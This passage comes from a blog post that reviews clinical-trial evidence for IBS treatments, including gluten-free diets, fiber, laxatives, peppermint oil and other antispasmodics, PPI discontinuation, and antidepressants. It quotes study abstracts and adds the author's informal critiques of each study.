months.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://eprints.whiterose.ac.uk/134755/\"><strong>A Systematic Review and Meta-Analysis Evaluating the Efficacy of a Gluten-Free Diet and a Low FODMAPs Diet in Treating Symptoms of Irritable Bowel Syndrome - White Rose Research Online</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Again, same meta review.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Both selected patients that had already responded to a GFD, and then randomized them to continue the diet, or to have the diet “spiked” with gluten.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A GFD was associated with reduced global symptoms compared with a control diet (RR = 0.42; 95% CI 0.11 to 1.55; I2= 88%), although this was not statistically significant.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://pubmed.ncbi.nlm.nih.gov/21224837/\">Gluten causes gastrointestinal symptoms in subjects without celiac disease: a double-blind randomized placebo-controlled trial - PubMed (nih.gov)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Very skewed women:men ratio. This is “placebo controlled” with normal vs. gluten free muffins. It raises the question of whether the patients could tell the difference between the normal and gluten free muffins, which they probably could.&nbsp;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A total of 34 patients (aged 29-59 years, 4 men) completed the study as per protocol. Overall, 56% had human leukocyte antigen (HLA)-DQ2 and/or HLA-DQ8. Adherence to diet and supplements was very high. Of 19 patients (68%) in the gluten group, 13 reported that symptoms were not adequately controlled compared with 6 of 15 (40%) on placebo (P=0.0001; generalized estimating equation). On a visual analog scale, patients were significantly worse with gluten within 1 week for overall symptoms (P=0.047), pain (P=0.016), bloating (P=0.031), satisfaction with stool consistency (P=0.024), and tiredness (P=0.001).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://pubmed.ncbi.nlm.nih.gov/26056920/\">Non-Celiac Gluten Sensitivity Has Narrowed the Spectrum of Irritable Bowel Syndrome: A Double-Blind Randomized Placebo-Controlled Trial - PubMed (nih.gov)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This one is a better placebo because they gave them gluten packets, which would be harder to tell taste wise from gluten free powder. However, the graphs, which I copied below, are terrible and clearly show overlap between placebo and gluten. I’m not a huge fan of this study or how they presented their information, but there does seem to be some effect.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>. In the second stage after six weeks, patients whose symptoms improved to an acceptable level were randomly divided into two groups; patients either received packages containing powdered gluten (35 cases) or patients received placebo (gluten free powder) (37 cases). Overall, the symptomatic improvement was statistically different in the gluten-containing group compared with placebo group in 9 (25.7%), and 31 (83.8%) patients respectively (p &lt; 0.001).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh4.googleusercontent.com/OD_XoemmNqpSI_F36_qSnOdqcc9dfpkSZ712k2WQA5RFcrtzeSOnjIQpKS-NGm2n4cGVGEZJqODkglWbw7YHMlXMmaUMX9D0k6B4zVOCye3-DKq-lFEdYV4wPmPieqk-TxUXtTO7\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>Fiber</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Bran and insoluble fiber are probably not effective in any form of IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ispaghula (psyllium) and linseed, which are soluble fibers, are probably effective. Linseed seems like it’s probably better. It’s hard to tell because the studies aren’t very good.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>All studies were done over a max of 1-3 months.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://scihubtw.tw/10.1038/ajg.2014.195\">Sci-Hub | The Effect of Fiber Supplementation on Irritable Bowel Syndrome: A Systematic Review and Meta-analysis | 10.1038/ajg.2014.195 (scihubtw.tw)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This meta analysis has a nice risk ratio graph, which is helpful for us. Note that all the results for bran span both sides of the line, so it’s unclear whether it works.&nbsp;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh3.googleusercontent.com/O5sBs_qNktbfm4SuhbhzTpMtWB1fNef6bxCWLu4dyA9of6pwe3xHG3f07vmFj36ZKSZnNV08lvZZmaHWbraGqJK0cUM0AmUNXHOz-c73e94R-Te8-6N73phF4cDZiVmlxHFsLExQ\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>Laxatives</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Laxatives work, but they may not prevent constipation, especially in older patients.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>I didn’t feel like I had to really prove this one, to be honest. I got lazy.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://qualitysafety.bmj.com/content/10/4/268.short\">Effectiveness of laxatives in adults | BMJ Quality &amp; Safety</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Bulk&nbsp; (fibre&nbsp; based)&nbsp; laxatives&nbsp; and&nbsp; osmotic</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>laxatives (including lactulose and PEG) are</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>associated with increases in frequency and</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>improvements &nbsp; in &nbsp; stool &nbsp; consistency &nbsp; and</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>symptoms of constipation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>+</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Little evidence is available at present as to</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>the&nbsp; comparative&nbsp; effectiveness&nbsp; of&nbsp; bulk&nbsp; and</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>non-bulk laxatives.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>+</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There&nbsp; is&nbsp; no&nbsp; good&nbsp; evidence&nbsp; that&nbsp; laxatives</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>prevent constipation in older patients.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>+</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A&nbsp; stepped&nbsp; approach&nbsp; to&nbsp; laxative&nbsp; treatment</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>would seem justified, involving initial inter-</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>vention with cheaper laxatives, before pro-</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>ceeding to the more expensive alternatives.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>+</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There is a pressing need for large compara-</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>tive trials of diferent strategies for the man-</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>agement&nbsp; of&nbsp; constipation&nbsp; in&nbsp; adults.&nbsp; This</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>should include comparisons of the effectiveness of diferent classes of laxative.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>+</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Research is also required into the effectiveness&nbsp; of&nbsp; overall&nbsp; dietary&nbsp; change&nbsp; (including increased&nbsp; fluid&nbsp; intake)&nbsp; in&nbsp; the&nbsp; treatment&nbsp; of constipation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Anti spasmodics (dicylomine, peppermint oil, pinaverium, trimebutine)</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>They have ok effects for abdominal pain and bigger effects for overall symptom scores.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.cochranelibrary.com/cdsr/doi/10.1002/14651858.CD003460.pub3/full\">Bulking agents, antispasmodics and antidepressants for the treatment of irritable bowel syndrome - Ruepert, L - 2011 | Cochrane Library</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This is a Cochrane review paper. Cochrane is usually seen as the gold standard for reviews, although they’re often too strict.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Also, note that they reverse RR, so RR above 1 is good.&nbsp;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There was a beneficial effect for antispasmodics over placebo for improvement of abdominal pain (58% of antispasmodic patients improved compared to 46% of placebo; 13 studies; 1392 patients; RR 1.32; 95% CI 1.12 to 1.55; P &lt; 0.001; NNT = 7), global assessment (57% of antispasmodic patients improved compared to 39% of placebo; 22 studies; 1983 patients; RR 1.49; 95% CI 1.25 to 1.77; P &lt; 0.0001; NNT = 5) and symptom score (37% of antispasmodic patients improved compared to 22% of placebo; 4 studies; 586 patients; RR 1.86; 95% CI 1.26 to 2.76; P &lt; 0.01; NNT = 3). Subgroup analyses for different types of antispasmodics found statistically significant benefits for cimteropium/ dicyclomine, peppermint oil, pinaverium and trimebutine. Separate analysis of the studies with adequate allocation concealment found a significant benefit for improvement of abdominal pain.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh5.googleusercontent.com/BkdShau5oAp6vd8zGdnHTfzVSVH6hPYiyRI5-OEWbDr43a1UPFSnj_WpZS1dVWT-w9k39ydZ3KeVsKndvc6XOLssQ_1bl3YZObV3WWH6O8gBMdVYbDpEwhN1owUpUgwQHxNwUD_8\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.sciencedirect.com/science/article/abs/pii/S1590865807000618\">Peppermint oil (Mintoil®) in the treatment of irritable bowel syndrome: A prospective double blind placebo-controlled randomized trial - ScienceDirect</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>I wanted to look at peppermint oil specifically because that’s what I used to use. It works well according to this study, although note that there’s a rebound between 4 to 8 weeks.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Fifty-seven patients with irritable bowel syndrome according to the Rome II criteria, with normal lactose and lactulose breath tests and negative antibody screening for celiac disease, were treated with peppermint oil (two enteric-coated capsules twice per day or placebo) for 4 weeks in a double blind study. The symptoms were assessed before therapy (T0), after the first 4 weeks of therapy (T4) and 4 weeks after the end of therapy (T8).&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>At T4, 75% of the patients in the peppermint oil group showed a &gt;50% reduction of basal (T0) total irritable bowel syndrome symptoms score compared with 38% in the placebo group (P &lt; 0.009). With peppermint oil at T4 and at T8 compared with T0 a statistically significant reduction of the total irritable bowel syndrome symptoms score was found (T0: 2.19 ± 0.13, T4: 1.07 ± 0.10*, T8: 1.60 ± 0.10*, *P &lt; 0.01 compared with T0, mean ± S.E.M.), while no change was found with the placebo.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.minervamedica.it/en/journals/gazzetta-medica-italiana/article.php?cod=R22Y2005N02A0119\">Efficacy of peppermint oil in the treatment of irritable bowel syndrome: a randomized, controlled trial - Gazzetta Medica Italiana Archivio per le Scienze Mediche 2005 April;164(2):119-26 - Minerva Medica - Journals</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Another study showing an effect of peppermint oil, but I wonder if there was a rebound here, too.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We enrolled 178 consecutive patients affected by IBS, according to the Rome II diagnostic criteria. They were randomized by computer-generated lists to receive either Mintoil 2 capsules t.i.d. before meals for 3 months, or a placebo. A validated questionnaire was administered every 3 weeks to measure the outcome. Data were analysed by χ2 test.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Results. Ninety-one patients (22 M, 69 F; mean age 41 yrs; range 18-72 yrs) received Mintoil, and 87 patients (23 M, 64 F; mean age 44 yrs; range 21-74 yrs) assumed the placebo. Three patients withdrew from the study because of non IBS-related diseases, and two patients because of pyrosis. No other adverse events were recorded.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Peppermint oil, compared to placebo, improved IBS overall symptoms in 73/91 (80%) vs 31/87 (36%) patients (p&lt;0.02). Particularly, significant improvements were achieved for gastroenteric symptoms, in 88/91 (97%) vs 29/87 (33%) patients (p&lt;0.01), psychical discomfort, in 34/91 (37%) vs 16/87 (18%) patients (p&lt;0.05), and socio-familiar impact, in 69/91 (76%) vs 37/87 (43%) patients (p&lt;0.04).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4><strong>Discontinuation of proton pump inhibitors</strong></h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>This isn’t really an IBS one, but PPIs do lead to SIBO. Discontinuing them may help.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://onlinelibrary.wiley.com/doi/abs/10.1111/j.1365-2362.2010.02419.x\">Effects of long‐term PPI treatment on producing bowel symptoms and SIBO - Compare - 2011 - European Journal of Clinical Investigation - Wiley Online Library</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>I only really wanted one study for this, because it’s pretty well known, but here you go. They gave patients PPI and accidentally gave them IBS. The other patients who weren’t given PPI didn’t get IBS.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Methods Patients with NERD (acid reflux) not complaining of bowel symptoms were selected by upper endoscopy, 24‐h pH‐metry and a structured questionnaire concerning severity and frequency of bloating, flatulence, abdominal pain, diarrhoea and constipation. Patients were treated with esomeprazole 20 mg bid for 6 months. Prior to and after 8 weeks and 6 months of therapy, patients received the structured questionnaire and underwent evaluation of SIBO by glucose hydrogen breath test (GHBT).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Results Forty‐two patients with NERD were selected out of 554 eligible patients. After 8 weeks of PPI treatment, patients complained of bloating, flatulence, abdominal pain and diarrhoea in 43%, 17%, 7% and 2%, respectively. After 6 months, the incidence of bowel symptoms further increased and GHBT (glucose hydrogen breath test) was found positive in 11/42 (26%) patients. By a post hoc analysis, a significant (P &lt; 0·05) percentage of patients (8/42) met Rome III criteria for irritable bowel syndrome.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Antidepressants</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Antidepressants probably make you feel better if you have IBS, in the same way that therapy would. They don’t have any other effects.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://journals.lww.com/ajg/Abstract/2004/05000/Paroxetine_to_Treat_Irritable_Bowel_Syndrome_Not.27.aspx\"><strong>Paroxetine to Treat Irritable Bowel Syndrome Not Responding... : Official journal of the American College of Gastroenterology | ACG (lww.com)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Note that well-being improves with paroxetine, which is an antidepressant, but specific IBS related symptoms do not.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In Group 2, overall well-being improved more with paroxetine than with placebo (63.3%vs 26.3%; p = 0.01), but abdominal pain, bloating, and social functioning did not. With paroxetine, food avoidance decreased (p = 0.03) and work functioning was marginally better (p = 0.08). Before unblinding, more paroxetine recipients than placebo recipients wanted to continue their study medication (84%vs 37%; p &lt; 0.001).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.tandfonline.com/doi/abs/10.3109/00365528209181108\">The Effect of Trimipramine in Patients with the Irritable Bowel Syndrome: A Double-Blind Study: Scandinavian Journal of Gastroenterology: Vol 17, No 7 (tandfonline.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This one shows that trimipramine helps when given a bedtime, for both IBS scores and quality of life. However, I’m not entirely sure what this study is measuring, because there’s a lot of vomiting in this study. IBS patients shouldn’t be vomiting.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;61 patients were given either 50 mg trimipramine at bedtime or identically looking coded placebo in a prospective study for 4 weeks. The complaints were graded on an analogue scale by both the patients and the physicians. The results showed that the complaint scores were significantly reduced to about half in the placebo group. In the group treated with trimipramine a significantly greater reduction was found for the scores of vomiting, sleeplessness, depression, and for the mucus content of stools. The scores for tiredness during treatment had decreased less in the group receiving trimipramine than in the one receiving placebo. These improvements occurred already during the first week of treatment.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh6.googleusercontent.com/4TbIAZAW-7T9BTfTM0AGL1OhXZWr1YZXApIxVEpelqmKt5Eol1FxXneuEGV4j7WjjsM7CYqmWMm8qHlFAIvoFHGkx1A_N4AJp0o6mUJC-Qzm6nVIdr-CXRj-q3SWrLnmt-jy0_dW\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.sciencedirect.com/science/article/abs/pii/S0016508503006693\">Cognitive-behavioral therapy versus education and desipramine versus placebo for moderate to severe functional bowel disorders - ScienceDirect</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This is a fun study which compared therapy vs. desipramine, which is an antidepressant. Therapy came out better than desipramine, desipramine came out kind of better than placebo but it’s hard to tell. This one breaks out the “intention to treat” vs. “per protocol”, which basically means that there were a lot of patients who they intended to treat but didn’t (i.e. they dropped out). Also, if you read between the lines, this sort of detailed “subgroup analysis”, where they try to get really specific about who would benefit from desipramine, is usually an attempt to rescue a study that went poorly so they have to find some benefit somewhere. Not a good study!</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The <a href=\"https://www.sciencedirect.com/topics/medicine-and-dentistry/intention-to-treat-analysis\">intention-to-treat analysis</a> showed CBT as significantly more effective than EDU (<em>P</em> = 0.0001; responder rate, 70% CBT vs. 37% EDU; <a href=\"https://www.sciencedirect.com/topics/medicine-and-dentistry/numbers-needed-to-treat\">number needed to treat</a> [NNT ], 3.1). DES did not show significant benefit over PLA in the intention-to-treat analysis (<em>P</em> = 0.16; responder rate, 60% DES vs. 47% PLA; NNT, 8.1) but did show a statistically significant benefit in the per-protocol analysis (<em>P</em> = 0.01; responder rate, 73% DES vs. 49% PLA; NNT, 5.2), especially when participants with nondetectable blood levels of DES were excluded (<em>P</em> = 0.002). Improvement was best gauged by satisfaction with treatment. Subgroup analyses showed that DES was beneficial over PLA for moderate more than severe symptoms, abuse history, no depression, and diarrhea-predominant symptoms;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://onlinelibrary.wiley.com/doi/full/10.1111/j.1365-2036.2008.03633.x\">Clinical trial: the effect of amitriptyline in patients with diarrhoea‐predominant irritable bowel syndrome - VAHEDI - 2008 - Alimentary Pharmacology &amp;amp; Therapeutics - Wiley Online Library</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study seems to have a strong effect for low dose amitriptyline, and was overall a well performed study.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Patients were randomly assigned to receive either 10 mg amitriptyline daily or placebo. Subjects were followed up for 2 months and symptoms were assessed using a questionnaire.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Patients receiving amitriptyline showed greater complete response, defined as loss of all symptoms, compared with those receiving placebo (68% vs. 28%, <em>P</em> = 0.01).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh4.googleusercontent.com/jj6ynhnua_NDKcZUNsJY0jfvSwAahDKfLjZX7sAeYtYs5DSjPQbkszEykIhvBDPLXNLIU9YghGdbxXLbDUW-SL0b_WpqW4cArud_Jgb5YNYY9I98QZySQ23TU_zNX5NKUyV_aXJx\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC2721237/\">A randomized controlled trial of imipramine in patients with irritable bowel syndrome (nih.gov)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study has a remarkably high dropout rate, and it’s hard to even know what to think. Why did half the study leave?</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>One hundred and seven patients were enrolled by advertisement or referral by general practitioners and 56 (31 imipramine: 25 placebo) completed the 16-wk study. Baseline characteristics were comparable. A high overall dropout rate was noted in the imipramine and placebo arms (47.5% <em>vs</em> 47.9%, <em>P</em> &gt; 0.05), a mean of 25.0 and 37.4 d from enrollment, respectively (<em>P</em> &lt; 0.05). At the end of 12 wk, there was a significant difference in global symptom relief with imipramine over placebo (per-protocol: 80.6% <em>vs</em> 48.0%, <em>P</em> = 0.01) and a trend on intent-to-treat (ITT) analysis (42.4% <em>vs</em> 25.0%, <em>P</em> = 0.06). This improvement was evident early and persisted to week 16 (<em>P</em> = 0.024 and 0.053 by per-protocol and ITT analyses, respectively).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.sciencedirect.com/science/article/abs/pii/S0033318209707649\">A Double-Blind, Randomized, Placebo-Controlled Trial of Paroxetine Controlled-Release in Irritable Bowel Syndrome - ScienceDirect</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study compared psychotherapy vs. paroxetine vs. routine care. Psychotherapy actually came out on top.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Seventy-two patients with IBS participated in a 12-week, double-blind, randomized, <a href=\"https://www.sciencedirect.com/topics/medicine-and-dentistry/placebo-controlled-study\">placebo-controlled study</a> of paroxetine-CR (12.5 mg–50 mg/day).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In <a href=\"https://www.sciencedirect.com/topics/medicine-and-dentistry/intention-to-treat-analysis\">intent-to-treat</a> analyses, there were no significant differences between paroxetine-CR (N = 36) and placebo (N = 36) on reduction in Composite Pain Scores, although the proportion of responders on CGI–I was significantly higher in the paroxetine-CR group.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Patients with severe IBS were randomly allocated to receive 8 sessions of individual psychotherapy, 20 mg daily of the specific serotonin reuptake inhibitor (SSRI) antidepressant, paroxetine, or routine care by a gastroenterologist and general practitioner.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Both psychotherapy and paroxetine were superior to treatment as usual in improving the physical aspects of health-related quality of life (SF-36 physical component score improvement, 5.2 [SEM, 1.26], 5.8 [SEM, 1.0], and −0.3 [SEM, 1.17]; <em>P</em> &lt; 0.001), but there was no difference in the psychological component. During the follow-up year, psychotherapy but not paroxetine was associated with a significant reduction in health care costs compared with treatment as usual (psychotherapy, $976 [SD, $984]; paroxetine, $1252 [SD, $1616]; and treatment as usual, $1663 [SD, $3177]).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.sciencedirect.com/science/article/abs/pii/S1542356503700391\">The selective serotonin reuptake inhibitor fluoxetine does not change rectal sensitivity and symptoms in patients with irritable bowel syndrome: A double blind, randomized, placebo-controlled study - ScienceDirect</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study weirdly looked at rectal sensitivity as a measure, as well as pain. It showed fluoxetine helped with pain, but not with any IBS specific measures.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Forty non-depressed IBS patients underwent a rectal <a href=\"https://www.sciencedirect.com/topics/medicine-and-dentistry/barostat\">barostat</a> study to assess the sensitivity to rectal distention before and after 6 weeks of treatment with fluoxetine 20 mg or placebo. Abdominal pain scores, individual <a href=\"https://www.sciencedirect.com/topics/medicine-and-dentistry/gastrointestinal-distress\">gastrointestinal symptoms</a>, global symptom relief, and psychologic symptoms were assessed before and after the intervention</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Fluoxetine did not significantly alter the threshold for discomfort/pain relative to placebo, either in hypersensitive (19 ± 3 vs. 22 ± 2 mm Hg above MDP) or in normosensitive (34 ± 2 vs. 39 ± 4 mm Hg above MDP) IBS patients. Overall, 53% of fluoxetine-treated patients and 76% of placebo-treated patients reported significant abdominal pain scores after 6 weeks (not significant). In contrast, in hypersensitive patients only, fluoxetine significantly reduced the number of patients reporting significant abdominal pain. Gastrointestinal symptoms, global symptom relief, and psychologic symptoms were not altered.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://gut.bmj.com/content/55/8/1095.short\">A controlled crossover study of the selective serotonin reuptake inhibitor citalopram in irritable bowel syndrome | Gut (bmj.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study found an effect of citalopram on pain and bloating, but not really on IBS specific measures.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Twenty three non-depressed IBS patients were recruited from a tertiary care centre and included in a crossover trial comparing six weeks of treatment with the SSRI citalopram (20 mg for three weeks, 40 mg for three weeks) with placebo. IBS symptom severity was the primary outcome measure, and depression and anxiety scores were also measured.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>After three and six weeks of treatment, citalopram significantly improved abdominal pain, bloating, impact of symptoms on daily life, and overall well being compared with placebo. There was only a modest effect on stool pattern.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.sciencedirect.com/science/article/abs/pii/S154235650900891X\">Citalopram Provides Little or No Benefit in Nondepressed Patients With Irritable Bowel Syndrome - ScienceDirect</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study found no effect of citalopram.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Patients from primary, secondary, and tertiary care settings were randomly assigned to receive citalopram (20 mg/day for 4 weeks, then 40 mg/day for 4 weeks) or placebo in a study with double-masking and concealed allocation. Symptoms were assessed weekly, and IBS-QOL and rectal sensation by barostat were assessed at the beginning and end of the study.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://onlinelibrary.wiley.com/doi/full/10.1111/j.1365-2036.2005.02566.x\">The effect of fluoxetine in patients with pain and constipation‐predominant irritable bowel syndrome: a double‐blind randomized‐controlled study - VAHEDI - 2005 - Alimentary Pharmacology &amp;amp; Therapeutics - Wiley Online Library</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study found a big effect of fluoxetine on constipation, and seemed well-performed. They didn’t check if their patients were anxious or depressed, though.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Fluoxetine was significantly more effective than placebo in decreasing abdominal discomfort, relieving feeling and sense of bloating, increasing frequency of bowel movements and decreasing consistency of stool. Mean number of symptoms per patient decreased from 4.6 to 0.7 in the fluoxetine group vs. 4.5 to 2.9 in controls (<em>P</em> &lt; 0.001).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://scholar.google.com/scholar_lookup?journal=Digestive+diseases+and+sciences&amp;title=Antidepressant+therapy+(imipramine+and+citalopram)+for+irritable+bowel+syndrome:+a+double-blind,+randomized,+placebo-controlled+trial&amp;author=NJ+Talley&amp;author=JE+Kellow&amp;author=P+Boyce&amp;author=C+Tennant&amp;author=S+Huskic&amp;volume=53&amp;issue=1&amp;publication_year=2008&amp;pages=108-15&amp;pmid=17503182&amp;doi=10.1007/s10620-007-9830-4&amp;\">Talley: Antidepressant therapy (imipramine and citalopram... - Google Scholar</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study didn’t find any effect for citalopram, but it did find it for imipramine.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Of&nbsp; 51&nbsp; IBS&nbsp; patients&nbsp; randomized,&nbsp; baseline&nbsp; characteristics were comparable among the treatment arms; themajority was diarrhea-predominant. Adequate relief of IBS symptoms&nbsp; (primary&nbsp; endpoint)&nbsp; was&nbsp; similar&nbsp; for&nbsp; each&nbsp; treat-ment arm. Improvements in bowel symptom severity rating for&nbsp; interference&nbsp; (P= 0.05)&nbsp; and&nbsp; distress&nbsp; (P= 0.02)&nbsp; were greater with imipramine versus placebo, but improvements in abdominal &nbsp; pain&nbsp; were not. There &nbsp; was &nbsp; a 